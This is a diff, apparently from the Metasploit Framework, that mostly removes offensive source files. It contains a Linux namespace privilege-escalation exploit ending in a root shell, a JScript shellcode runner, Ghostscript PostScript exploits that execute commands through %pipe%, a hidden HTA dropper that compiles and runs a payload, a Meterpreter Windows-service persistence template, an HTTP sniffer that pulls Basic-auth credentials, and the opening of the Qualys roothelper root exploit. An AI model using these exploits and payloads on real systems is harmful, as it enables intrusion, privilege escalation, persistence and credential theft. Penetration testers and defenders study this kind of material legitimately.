dprintf("[-] fork");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (child == 0) {
|
||||
prctl(PR_SET_PDEATHSIG, SIGKILL);
|
||||
close(sync_pipe[1]);
|
||||
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWNET)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (write(sync_pipe[0], "X", 1) != 1) {
|
||||
dprintf("write to sock\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (read(sync_pipe[0], &dummy, 1) != 1) {
|
||||
dprintf("[-] read from sock\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (setgid(0)) {
|
||||
dprintf("[-] setgid");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (setuid(0)) {
|
||||
printf("[-] setuid");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
execl(SUBSHELL, "", NULL);
|
||||
|
||||
dprintf("[-] executing subshell failed\n");
|
||||
}
|
||||
|
||||
close(sync_pipe[0]);
|
||||
|
||||
if (read(sync_pipe[1], &dummy, 1) != 1) {
|
||||
dprintf("[-] read from sock\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char path[256];
|
||||
sprintf(path, "/proc/%d/setgroups", (int)child);
|
||||
|
||||
if (write_file(path, "deny") == -1) {
|
||||
dprintf("[-] denying setgroups failed\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[~] done, namespace sandbox set up\n");
|
||||
|
||||
dprintf("[.] mapping subordinate ids\n");
|
||||
char subuid[64];
|
||||
char subgid[64];
|
||||
|
||||
if (get_subuid(&subuid[0], sizeof(subuid))) {
|
||||
dprintf("[-] couldn't find subuid map in /etc/subuid\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (get_subgid(&subgid[0], sizeof(subgid))) {
|
||||
dprintf("[-] couldn't find subgid map in /etc/subgid\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[.] subuid: %s\n", subuid);
|
||||
dprintf("[.] subgid: %s\n", subgid);
|
||||
|
||||
char cmd[256];
|
||||
|
||||
sprintf(cmd, "newuidmap %d 0 %s 1000", (int)child, subuid);
|
||||
if (system(cmd)) {
|
||||
dprintf("[-] newuidmap failed");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
sprintf(cmd, "newgidmap %d 0 %s 1000", (int)child, subgid);
|
||||
if (system(cmd)) {
|
||||
dprintf("[-] newgidmap failed");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[~] done, mapped subordinate ids\n");
|
||||
|
||||
dprintf("[.] executing subshell\n");
|
||||
|
||||
if (write(sync_pipe[1], "X", 1) != 1) {
|
||||
dprintf("[-] write to sock");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int status;
|
||||
if (wait(&status) != child) {
|
||||
dprintf("[-] wait");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,77 +0,0 @@
|
||||
import System;
|
||||
import System.Runtime.InteropServices;
|
||||
import System.Reflection;
|
||||
import System.Reflection.Emit;
|
||||
import System.Runtime;
|
||||
import System.Text;
|
||||
|
||||
function InvokeWin32(dllName:String, returnType:Type,
|
||||
methodName:String, parameterTypes:Type[], parameters:Object[])
|
||||
{
|
||||
// Begin to build the dynamic assembly
|
||||
var domain = AppDomain.CurrentDomain;
|
||||
var name = new System.Reflection.AssemblyName('PInvokeAssembly');
|
||||
var assembly = domain.DefineDynamicAssembly(name, AssemblyBuilderAccess.Run);
|
||||
var module = assembly.DefineDynamicModule('PInvokeModule');
|
||||
var type = module.DefineType('PInvokeType',TypeAttributes.Public + TypeAttributes.BeforeFieldInit);
|
||||
|
||||
// Define the actual P/Invoke method
|
||||
var method = type.DefineMethod(methodName, MethodAttributes.Public + MethodAttributes.HideBySig + MethodAttributes.Static + MethodAttributes.PinvokeImpl, returnType, parameterTypes);
|
||||
|
||||
// Apply the P/Invoke constructor
|
||||
var ctor = System.Runtime.InteropServices.DllImportAttribute.GetConstructor([Type.GetType("System.String")]);
|
||||
var attr = new System.Reflection.Emit.CustomAttributeBuilder(ctor, [dllName]);
|
||||
method.SetCustomAttribute(attr);
|
||||
|
||||
// Create the temporary type, and invoke the method.
|
||||
var realType = type.CreateType();
|
||||
return realType.InvokeMember(methodName, BindingFlags.Public + BindingFlags.Static + BindingFlags.InvokeMethod, null, null, parameters);
|
||||
}
|
||||
|
||||
function VirtualAlloc( lpStartAddr:UInt32, size:UInt32, flAllocationType:UInt32, flProtect:UInt32)
|
||||
{
|
||||
var parameterTypes:Type[] = [Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.UInt32")];
|
||||
var parameters:Object[] = [lpStartAddr, size, flAllocationType, flProtect];
|
||||
|
||||
return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "VirtualAlloc", parameterTypes, parameters );
|
||||
}
|
||||
|
||||
function CreateThread( lpThreadAttributes:UInt32, dwStackSize:UInt32, lpStartAddress:IntPtr, param:IntPtr, dwCreationFlags:UInt32, lpThreadId:UInt32)
|
||||
{
|
||||
var parameterTypes:Type[] = [Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.IntPtr"),Type.GetType("System.IntPtr"), Type.GetType("System.UInt32"), Type.GetType("System.UInt32") ];
|
||||
var parameters:Object[] = [lpThreadAttributes, dwStackSize, lpStartAddress, param, dwCreationFlags, lpThreadId ];
|
||||
|
||||
return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "CreateThread", parameterTypes, parameters );
|
||||
}
|
||||
|
||||
function WaitForSingleObject( handle:IntPtr, dwMiliseconds:UInt32)
|
||||
{
|
||||
var parameterTypes:Type[] = [Type.GetType("System.IntPtr"),Type.GetType("System.UInt32")];
|
||||
var parameters:Object[] = [handle, dwMiliseconds ];
|
||||
|
||||
return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "WaitForSingleObject", parameterTypes, parameters );
|
||||
}
|
||||
|
||||
function ShellCodeExec()
|
||||
{
|
||||
var MEM_COMMIT:uint = 0x1000;
|
||||
var PAGE_EXECUTE_READWRITE:uint = 0x40;
|
||||
|
||||
var shellcodestr:String = '<%= file_payload %>'
|
||||
var shellcode:Byte[] = System.Convert.FromBase64String(shellcodestr);
|
||||
var funcAddr:IntPtr = VirtualAlloc(0, UInt32(shellcode.Length),MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
|
||||
Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length);
|
||||
var hThread:IntPtr = IntPtr.Zero;
|
||||
var threadId:UInt32 = 0;
|
||||
// prepare data
|
||||
var pinfo:IntPtr = IntPtr.Zero;
|
||||
// execute native code
|
||||
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, threadId);
|
||||
WaitForSingleObject(hThread, 0xFFFFFFFF);
|
||||
|
||||
}
|
||||
try{
|
||||
ShellCodeExec();
|
||||
}catch(e){}
|
||||
@@ -1,9 +0,0 @@
|
||||
%!PS
|
||||
userdict /setpagedevice undef
|
||||
a0
|
||||
currentpagedevice /HWResolution get 0 (metasploit) put
|
||||
{ grestore } stopped pop
|
||||
(ppmraw) selectdevice
|
||||
mark /OutputFile (%pipe%echo vulnerable > /dev/tty) currentdevice putdeviceprops
|
||||
{ showpage } stopped pop
|
||||
quit
|
||||
@@ -1,81 +0,0 @@
|
||||
%!PS
|
||||
% This is ghostscript bug #699687 (split out from bug #699654)
|
||||
|
||||
% ImageMagick define setpagedevice, just remove their definition. This doesn't
|
||||
% do anything if not using ImageMagick.
|
||||
userdict /setpagedevice undef
|
||||
|
||||
% function to check if we're on Linux or Windows
|
||||
/iswindows {
|
||||
% Just checking if paths contain drive
|
||||
null (w) .tempfile closefile 1 get 16#3A eq
|
||||
} def
|
||||
|
||||
% just select a papersize to initialize page device
|
||||
a0
|
||||
|
||||
% The bug is that if you can make grestore or restore fail non-fatally,
|
||||
% LockSafetyParams isn't restored properly. grestore will fail if you set crazy
|
||||
% properties in your pagedevice, like a nonsense resolution.
|
||||
%
|
||||
% Normally it would be something like [72.0 72.0], but you can't just def
|
||||
% HWResolution to something else (for example), because it's readonly:
|
||||
%
|
||||
% GS>currentpagedevice wcheck ==
|
||||
% false
|
||||
%
|
||||
% But you can just put or astore into it, because the array itself is writable:
|
||||
% GS>currentpagedevice /HWResolution get wcheck ==
|
||||
% true
|
||||
%
|
||||
% Lets just put some junk in there.
|
||||
currentpagedevice /HWResolution get 0 (foobar) put
|
||||
|
||||
% This grestore will fail, stopped just catches the error instead of aborting.
|
||||
{ grestore } stopped pop
|
||||
|
||||
% Now LockSafetyParams will be incorrectly unset, you can check like this:
|
||||
% GS>mark currentdevice getdeviceprops .dicttomark /.LockSafetyParams get == pop
|
||||
% false
|
||||
|
||||
% We can change and configure devices now, so make sure we're using one with
|
||||
% a OutputFile property.
|
||||
(ppmraw) selectdevice
|
||||
|
||||
% Check if we're on Windows or UNIX
|
||||
iswindows {
|
||||
% This is Windows, gswin32c.exe supports %pipe%, so you can just run calc.exe.
|
||||
%
|
||||
% The graphical version doesn't seem to support %pipe%, but you can create
|
||||
% arbitrary files. If something is using the api (gs32dll.dll), it may or
|
||||
% may not support %pipe%.
|
||||
|
||||
/getstartupdirwindows {
|
||||
% This figures out startup location from %TEMP% (Tested on Win10)
|
||||
(C:\\USERS\\XXXXXX~1\\STARTM~1\\PROGRAMS\\STARTUP\\)
|
||||
dup 0 null (w) .tempfile closefile 0 18 getinterval putinterval
|
||||
} def
|
||||
|
||||
% (directory) (extension) randfile (result)
|
||||
/randfile {
|
||||
% pick a random filename
|
||||
exch rand 32 string cvs concatstrings exch concatstrings
|
||||
} def
|
||||
|
||||
mark /OutputFile (%pipe%calc.exe) currentdevice putdeviceprops
|
||||
|
||||
% if you need to create files, use txtwrite like this:
|
||||
|
||||
%mark /OutputFile getstartupdirwindows (.bat) randfile
|
||||
% { (txtwrite) selectdevice } stopped pop putdeviceprops setdevice
|
||||
%0 0 moveto
|
||||
%(REM This is an exploit demo\n) show
|
||||
%(calc.exe\n) show
|
||||
} {
|
||||
% This is UNIX, just run a shell command
|
||||
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
|
||||
} ifelse
|
||||
|
||||
{ showpage } stopped pop
|
||||
|
||||
quit
|
||||
@@ -1,151 +0,0 @@
|
||||
<html>
|
||||
<head>
|
||||
<HTA:APPLICATION WINDOWSTATE="minimize" SHOWINTASKBAR="no" SYSMENU="no" CAPTION="no" />
|
||||
</head>
|
||||
</html>
|
||||
<script>
|
||||
window.resizeTo(1, 1);
|
||||
window.moveTo(-2000, -2000);
|
||||
// Base64 implementation found on http://www.webtoolkit.info/javascript-base64.html
|
||||
// variable names changed to make obfuscation easier
|
||||
var Base64 = {
|
||||
// private property
|
||||
_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
|
||||
|
||||
// public method for decoding
|
||||
decode : function (input) {
|
||||
var output = "";
|
||||
var chr1, chr2, chr3;
|
||||
var enc1, enc2, enc3, enc4;
|
||||
var i = 0;
|
||||
|
||||
input = input.replace(/[^A-Za-z0-9\+\/\\=]/g, "");
|
||||
|
||||
while (i < input.length) {
|
||||
|
||||
enc1 = this._keyStr.indexOf(input.charAt(i++));
|
||||
enc2 = this._keyStr.indexOf(input.charAt(i++));
|
||||
enc3 = this._keyStr.indexOf(input.charAt(i++));
|
||||
enc4 = this._keyStr.indexOf(input.charAt(i++));
|
||||
|
||||
chr1 = (enc1 << 2) | (enc2 >> 4);
|
||||
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
|
||||
chr3 = ((enc3 & 3) << 6) | enc4;
|
||||
|
||||
output = output + String.fromCharCode(chr1);
|
||||
|
||||
if (enc3 != 64) {
|
||||
output = output + String.fromCharCode(chr2);
|
||||
}
|
||||
if (enc4 != 64) {
|
||||
output = output + String.fromCharCode(chr3);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
output = Base64._utf8_decode(output);
|
||||
|
||||
return output;
|
||||
|
||||
},
|
||||
_utf8_decode : function (utftext) {
|
||||
var string = "";
|
||||
var input_idx = 0;
|
||||
var chr1 = 0;
|
||||
var chr2 = 0;
|
||||
var chr3 = 0;
|
||||
|
||||
while ( input_idx < utftext.length ) {
|
||||
|
||||
chr1 = utftext.charCodeAt(input_idx);
|
||||
|
||||
if (chr1 < 128) {
|
||||
string += String.fromCharCode(chr1);
|
||||
input_idx++;
|
||||
}
|
||||
else if((chr1 > 191) && (chr1 < 224)) {
|
||||
chr2 = utftext.charCodeAt(input_idx+1);
|
||||
string += String.fromCharCode(((chr1 & 31) << 6) | (chr2 & 63));
|
||||
input_idx += 2;
|
||||
} else {
|
||||
chr2 = utftext.charCodeAt(input_idx+1);
|
||||
chr3 = utftext.charCodeAt(input_idx+2);
|
||||
string += String.fromCharCode(((chr1 & 15) << 12) | ((chr2 & 63) << 6) | (chr3 & 63));
|
||||
input_idx += 3;
|
||||
}
|
||||
}
|
||||
|
||||
return string;
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
decodedStr = Base64.decode("<%= jsnet_encoded %>");
|
||||
|
||||
function getTempPath()
|
||||
{
|
||||
var TemporaryFolder = 2;
|
||||
|
||||
var fso = new ActiveXObject("Scripting.FileSystemObject");
|
||||
var tempPath = fso.GetSpecialFolder(TemporaryFolder);
|
||||
|
||||
return tempPath;
|
||||
}
|
||||
|
||||
var path = getTempPath();
|
||||
|
||||
function makefile()
|
||||
{
|
||||
var fso = new ActiveXObject("Scripting.FileSystemObject");
|
||||
var thefile = fso.CreateTextFile(path + "\\\\<%= fname %>.js", true);
|
||||
|
||||
thefile.WriteLine(decodedStr);
|
||||
thefile.Close();
|
||||
}
|
||||
|
||||
makefile();
|
||||
|
||||
function findJSC()
|
||||
{
|
||||
var fso = new ActiveXObject("Scripting.FileSystemObject");
|
||||
var comPath = "C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\";
|
||||
var jscPath = "";
|
||||
|
||||
if(!fso.FolderExists(comPath))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
var frameFolder = fso.GetFolder(comPath);
|
||||
var fEnum = new Enumerator(frameFolder.SubFolders);
|
||||
|
||||
while(!fEnum.atEnd())
|
||||
{
|
||||
jscPath = fEnum.item().Path;
|
||||
|
||||
if(fso.FileExists(jscPath + "\\\\jsc.exe"))
|
||||
{
|
||||
return jscPath + "\\\\jsc.exe";
|
||||
}
|
||||
|
||||
fEnum.moveNext();
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
var comPath = findJSC();
|
||||
if(comPath)
|
||||
{
|
||||
var fso = new ActiveXObject("Scripting.FileSystemObject");
|
||||
var objShell = new ActiveXObject("WScript.shell");
|
||||
var js_f = path + "\\\\<%= fname %>.js";
|
||||
var ex = path + "\\\\<%= fname %>.exe";
|
||||
var platform = "/platform:<%= arch %>";
|
||||
|
||||
objShell.run(comPath + " /out:" + ex + " " + platform + " /t:winexe "+ js_f, 0);
|
||||
while(!fso.FileExists(ex)) { }
|
||||
|
||||
objShell.run(ex, 0);
|
||||
}
|
||||
</script>
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,304 +0,0 @@
|
||||
#include <String.h>
|
||||
#include <Windows.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#define SERVICE_NAME <%= @service_name.inspect %>
|
||||
#define DISPLAY_NAME <%= @service_description.inspect %>
|
||||
#define RETRY_TIME <%= @retry_time %>
|
||||
|
||||
//
|
||||
// Globals
|
||||
//
|
||||
|
||||
SERVICE_STATUS status;
|
||||
SERVICE_STATUS_HANDLE hStatus;
|
||||
|
||||
//
|
||||
// Meterpreter connect back to host
|
||||
//
|
||||
|
||||
void start_meterpreter()
|
||||
{
|
||||
// Your meterpreter shell here
|
||||
<%= buf %>
|
||||
|
||||
LPVOID buffer = (LPVOID)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
memcpy(buffer,buf,sizeof(buf));
|
||||
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)(buffer),NULL,0,NULL);
|
||||
WaitForSingleObject(hThread, -1); //INFINITE
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
|
||||
//
|
||||
// Call self without parameter to start meterpreter
|
||||
//
|
||||
|
||||
void self_call()
|
||||
{
|
||||
char path[MAX_PATH];
|
||||
char cmd[MAX_PATH];
|
||||
|
||||
if (GetModuleFileName(NULL, path, sizeof(path)) == 0) {
|
||||
// Get module file name failed
|
||||
return;
|
||||
}
|
||||
|
||||
STARTUPINFO startup_info;
|
||||
PROCESS_INFORMATION process_information;
|
||||
|
||||
ZeroMemory(&startup_info, sizeof(startup_info));
|
||||
startup_info.cb = sizeof(startup_info);
|
||||
|
||||
ZeroMemory(&process_information, sizeof(process_information));
|
||||
|
||||
// If create process failed.
|
||||
// CREATE_NO_WINDOW = 0x08000000
|
||||
if (CreateProcess(path, path, NULL, NULL, TRUE, 0x08000000, NULL,
|
||||
NULL, &startup_info, &process_information) == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
// Wait until the process died.
|
||||
WaitForSingleObject(process_information.hProcess, -1);
|
||||
}
|
||||
|
||||
//
|
||||
// Process control requests from the Service Control Manager
|
||||
//
|
||||
|
||||
VOID WINAPI ServiceCtrlHandler(DWORD fdwControl)
|
||||
{
|
||||
switch (fdwControl) {
|
||||
case SERVICE_CONTROL_STOP:
|
||||
case SERVICE_CONTROL_SHUTDOWN:
|
||||
status.dwWin32ExitCode = 0;
|
||||
status.dwCurrentState = SERVICE_STOPPED;
|
||||
break;
|
||||
|
||||
case SERVICE_CONTROL_PAUSE:
|
||||
status.dwWin32ExitCode = 0;
|
||||
status.dwCurrentState = SERVICE_PAUSED;
|
||||
break;
|
||||
|
||||
case SERVICE_CONTROL_CONTINUE:
|
||||
status.dwWin32ExitCode = 0;
|
||||
status.dwCurrentState = SERVICE_RUNNING;
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
if (SetServiceStatus(hStatus, &status) == 0) {
|
||||
//printf("Cannot set service status (0x%08x)", GetLastError());
|
||||
exit(1);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
//
|
||||
// Main function of service
|
||||
//
|
||||
|
||||
VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR* lpszArgv)
|
||||
{
|
||||
// Register the service handler
|
||||
|
||||
hStatus = RegisterServiceCtrlHandler(SERVICE_NAME, ServiceCtrlHandler);
|
||||
|
||||
if (hStatus == 0) {
|
||||
//printf("Cannot register service handler (0x%08x)", GetLastError());
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Initialize the service status structure
|
||||
|
||||
status.dwServiceType = SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS;
|
||||
status.dwCurrentState = SERVICE_RUNNING;
|
||||
status.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
|
||||
status.dwWin32ExitCode = 0;
|
||||
status.dwServiceSpecificExitCode = 0;
|
||||
status.dwCheckPoint = 0;
|
||||
status.dwWaitHint = 0;
|
||||
|
||||
if (SetServiceStatus(hStatus, &status) == 0) {
|
||||
//printf("Cannot set service status (0x%08x)", GetLastError());
|
||||
return;
|
||||
}
|
||||
|
||||
// Start the Meterpreter
|
||||
while (status.dwCurrentState == SERVICE_RUNNING) {
|
||||
self_call();
|
||||
Sleep(RETRY_TIME);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
//
|
||||
// Installs and starts the Meterpreter service
|
||||
//
|
||||
|
||||
BOOL install_service()
|
||||
{
|
||||
SC_HANDLE hSCManager;
|
||||
SC_HANDLE hService;
|
||||
|
||||
char path[MAX_PATH];
|
||||
|
||||
// Get the current module name
|
||||
|
||||
if (!GetModuleFileName(NULL, path, MAX_PATH)) {
|
||||
//printf("Cannot get module name (0x%08x)", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Build the service command line
|
||||
|
||||
|
||||
char cmd[MAX_PATH];
|
||||
|
||||
int total_len = strlen(path) + <%= 3 + @start_cmd.length %>;
|
||||
if (total_len < 0 || total_len >= sizeof(cmd)){
|
||||
//printf("Cannot build service command line (0x%08x)", -1);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
cmd[0] = '\0';
|
||||
strcat(cmd, "\"");
|
||||
strcat(cmd, path);
|
||||
strcat(cmd, "\" <%= @start_cmd %>");
|
||||
|
||||
// Open the service manager
|
||||
|
||||
hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|
||||
|
||||
if (hSCManager == NULL) {
|
||||
//printf("Cannot open service manager (0x%08x)", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Create the service
|
||||
|
||||
hService = CreateService(
|
||||
hSCManager,
|
||||
SERVICE_NAME,
|
||||
DISPLAY_NAME,
|
||||
0xf01ff, // SERVICE_ALL_ACCESS
|
||||
SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,
|
||||
SERVICE_AUTO_START,
|
||||
SERVICE_ERROR_NORMAL,
|
||||
cmd,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL, /* LocalSystem account */
|
||||
NULL
|
||||
);
|
||||
|
||||
if (hService == NULL) {
|
||||
//printf("Cannot create service (0x%08x)", GetLastError());
|
||||
|
||||
CloseServiceHandle(hSCManager);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Start the service
|
||||
|
||||
char* args[] = { path, "service" };
|
||||
|
||||
if (StartService(hService, 2, (const char**)&args) == 0) {
|
||||
DWORD err = GetLastError();
|
||||
|
||||
if (err != 0x420) //ERROR_SERVICE_ALREADY_RUNNING
|
||||
{
|
||||
//printf("Cannot start service %s (0x%08x)", SERVICE_NAME, err);
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCManager);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCManager);
|
||||
|
||||
//printf("Service %s successfully installed.", SERVICE_NAME);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
//
|
||||
// Start the service
|
||||
//
|
||||
|
||||
void start_service()
|
||||
{
|
||||
SERVICE_TABLE_ENTRY ServiceTable[] =
|
||||
{
|
||||
{ SERVICE_NAME, &ServiceMain },
|
||||
{ NULL, NULL }
|
||||
};
|
||||
|
||||
if (StartServiceCtrlDispatcher(ServiceTable) == 0) {
|
||||
//printf("Cannot start the service control dispatcher (0x%08x)",GetLastError());
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
//
|
||||
// Main function
|
||||
//
|
||||
|
||||
int main()
|
||||
{
|
||||
// Parse the command line argument.
|
||||
// For now, int main(int argc, char *argv) is buggy with metasm.
|
||||
// So we choose this approach to achieve it.
|
||||
LPTSTR cmdline;
|
||||
cmdline = GetCommandLine();
|
||||
|
||||
char *argv[MAX_PATH];
|
||||
char * ch = strtok(cmdline," ");
|
||||
int argc = 0;
|
||||
|
||||
while (ch != NULL)
|
||||
{
|
||||
argv[argc] = malloc( strlen(ch)+1) ;
|
||||
strncpy(argv[argc], ch, strlen(ch)+1);
|
||||
|
||||
ch = strtok (NULL, " ");
|
||||
argc++;
|
||||
}
|
||||
|
||||
if (argc > 1) {
|
||||
|
||||
if (strcmp(argv[argc-1], <%= @install_cmd.inspect %>) == 0) {
|
||||
|
||||
// Installs and starts the service
|
||||
|
||||
install_service();
|
||||
return 0;
|
||||
}
|
||||
else if (strcmp(argv[argc-1], <%= @start_cmd.inspect %>) == 0) {
|
||||
// Starts the Meterpreter as a service
|
||||
|
||||
start_service();
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
// Starts the Meterpreter as a normal application
|
||||
|
||||
start_meterpreter();
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -1,24 +1,22 @@
|
||||
# Psnuffle password sniffer add-on class for HTTP URLs
|
||||
# Psnuffle password sniffer add-on class for HTTP GET URL's
|
||||
# part of psnuffle sniffer auxiliary module
|
||||
#
|
||||
# Very simple example how to write sniffer extensions
|
||||
#
|
||||
|
||||
#
|
||||
# Sniffer class for GET/POST URLs.
|
||||
# Also extracts HTTP Basic authentication credentials.
|
||||
#
|
||||
# Sniffer class for GET URL's
|
||||
class SnifferURL < BaseProtocolParser
|
||||
def register_sigs
|
||||
self.sigs = {
|
||||
:get => /^GET\s+([^\n]+)\s+HTTP\/\d\.\d/i,
|
||||
:post => /^POST\s+([^\n]+)\s+HTTP\/\d\.\d/i,
|
||||
:webhost => /^HOST:\s+([^\n\r]+)/i,
|
||||
:basic_auth => /^Authorization:\s+Basic\s+([^\n\r]+)/i,
|
||||
:get => /^GET\s+([^\n]+)\s+HTTP\/\d\.\d/i,
|
||||
:webhost => /^HOST\:\s+([^\n\r]+)/i,
|
||||
}
|
||||
end
|
||||
|
||||
def parse(pkt)
|
||||
# We want to return immediately if we do not have a packet which is handled by us
|
||||
# We want to return immediantly if we do not have a packet which is handled by us
|
||||
return unless pkt.is_tcp?
|
||||
return if (pkt.tcp_sport != 80 && pkt.tcp_dport != 80)
|
||||
return if (pkt.tcp_sport != 80 and pkt.tcp_dport != 80)
|
||||
s = find_session((pkt.tcp_sport == 80) ? get_session_src(pkt) : get_session_dst(pkt))
|
||||
|
||||
self.sigs.each_key do |k|
|
||||
@@ -36,16 +34,10 @@ class SnifferURL < BaseProtocolParser
|
||||
case matched
|
||||
when :webhost
|
||||
sessions[s[:session]].merge!({k => matches})
|
||||
if s[:get]
|
||||
if(s[:get])
|
||||
print_status("HTTP GET: #{s[:session]} http://#{s[:webhost]}#{s[:get]}")
|
||||
end
|
||||
if s[:post]
|
||||
print_status("HTTP POST: #{s[:session]} http://#{s[:webhost]}#{s[:post]}")
|
||||
end
|
||||
if s[:basic_auth]
|
||||
s[:user], s[:pass] = Rex::Text.decode_base64(s[:basic_auth]).split(':', 2)
|
||||
report_auth_info s
|
||||
print_status "HTTP Basic Authentication: #{s[:session]} >> #{s[:user]} / #{s[:pass]}"
|
||||
sessions.delete(s[:session])
|
||||
return
|
||||
end
|
||||
when nil
|
||||
# No matches, no saved state
|
||||
@@ -53,3 +45,4 @@ class SnifferURL < BaseProtocolParser
|
||||
end # end of each_key
|
||||
end # end of parse
|
||||
end # end of URL sniffer
|
||||
|
||||
|
||||
Binary file not shown.
@@ -1,976 +0,0 @@
|
||||
/*
|
||||
* roothelper.c - an unusual local root exploit against:
|
||||
* CVE-2015-3245 userhelper chfn() newline filtering
|
||||
* CVE-2015-3246 libuser passwd file handling
|
||||
* Copyright (C) 2015 Qualys, Inc.
|
||||
*
|
||||
* gecos_* types and functions inspired by userhelper.c
|
||||
* Copyright (C) 1997-2003, 2007, 2008 Red Hat, Inc.
|
||||
*
|
||||
* UH_* #defines and comments inspired by userhelper.h
|
||||
* Copyright (C) 1997-2001, 2007 Red Hat, Inc.
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// Modified for Metasploit (see comments marked 'msf note')
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <ctype.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <inttypes.h>
|
||||
#include <limits.h>
|
||||
#include <pwd.h>
|
||||
#include <sched.h>
|
||||
#include <signal.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/inotify.h>
|
||||
#include <sys/resource.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/* A maximum GECOS field length. There's no hard limit, so we guess. */
|
||||
#define GECOS_LENGTH 127
|
||||
|
||||
typedef char gecos_field[GECOS_LENGTH];
|
||||
|
||||
/* A structure to hold broken-out GECOS data. The number and names of the
|
||||
* fields are dictated entirely by the flavor of finger we use. Seriously. */
|
||||
struct gecos_data {
|
||||
gecos_field full_name; /* full user name */
|
||||
gecos_field office; /* office */
|
||||
gecos_field office_phone; /* office phone */
|
||||
gecos_field home_phone; /* home phone */
|
||||
